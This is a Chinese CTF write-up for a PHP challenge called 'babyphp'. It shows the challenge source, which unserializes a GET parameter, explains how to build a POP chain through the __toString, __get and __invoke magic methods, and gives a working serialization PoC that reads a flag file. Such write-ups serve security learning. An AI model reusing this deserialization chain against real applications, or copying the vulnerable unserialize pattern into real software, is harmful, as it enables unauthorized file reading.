京津冀大學生競賽:babyphp

京津冀大學生競賽:babyphp

比賽的時候沒作出來,回來之後一會就作出來了,難受。。。仍是基本功不紮實,都不記得__invoke怎麼觸發的了php

放上源碼函數

<?php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'瑙f瀽寮€濮?'."<br>";
    }

    public function __toString()
    {
        $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }

    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        $func = $this->params;
        return $func();
    }
}

if(isset($_GET['chal']))
{
    $chal = unserialize($_GET['chal']);
}
else
{
    $show = new Show('index.php');
    $show->_show();
}

官方給的hint是this

babyphp提示:php反序列化鏈構造、魔術方法__toString、__wakeup()、__invoke()、__get()code

其實沒什麼用,很明顯是反序列化。關鍵是pop鏈的構造思路。
我找pop鏈的思路通常是對象

  • 一、找__destruct()__toString()這樣容易觸發反序列化的魔術方法,這是pop鏈的起點
  • 二、找能利用來getflag的函數,例如file_get_contents()這種,這是pop鏈的終點
  • 三、最後從終點慢慢一環一環往回推,推回起點就成功構造出pop鏈

本題中pop鏈的起點應該是Show::__toString(),而後尋找可用的echo,第一眼看到的就仍是Show::__construct(),還有一處Read::__invoke中的echo實際上是最後getflag的地方。咱們帶着這個思路走下去,那麼Read::__invoke就是pop鏈的終點。get

__invoke()觸發條件是源碼

當嘗試以調用函數的方式調用一個對象時,__invoke() 方法會被自動調用。io

能夠發現Test::__get()中有base64

$func = $this->params;
return $func();

繼續回推,__get()的觸發方法是function

讀取不可訪問屬性的值時,__get() 會被調用。

咱們發現Show::__toString()中有$this->str['str']->source;,完美
最終poc以下

<?php
error_reporting(3);
class Read {
    public $var;
}

class Show
{
    public $source;
    public $str;
}

class Test
{
    public $params;
}

$c = new Read();
$c->var = 'fllllllaaaaaag';
$b = new Test();
$b->params = $c;
$d = new Show();
$d->str = array('str'=>$b);
$a = new Show();
$a->source = $d;

echo serialize($a);
相關文章
相關標籤/搜索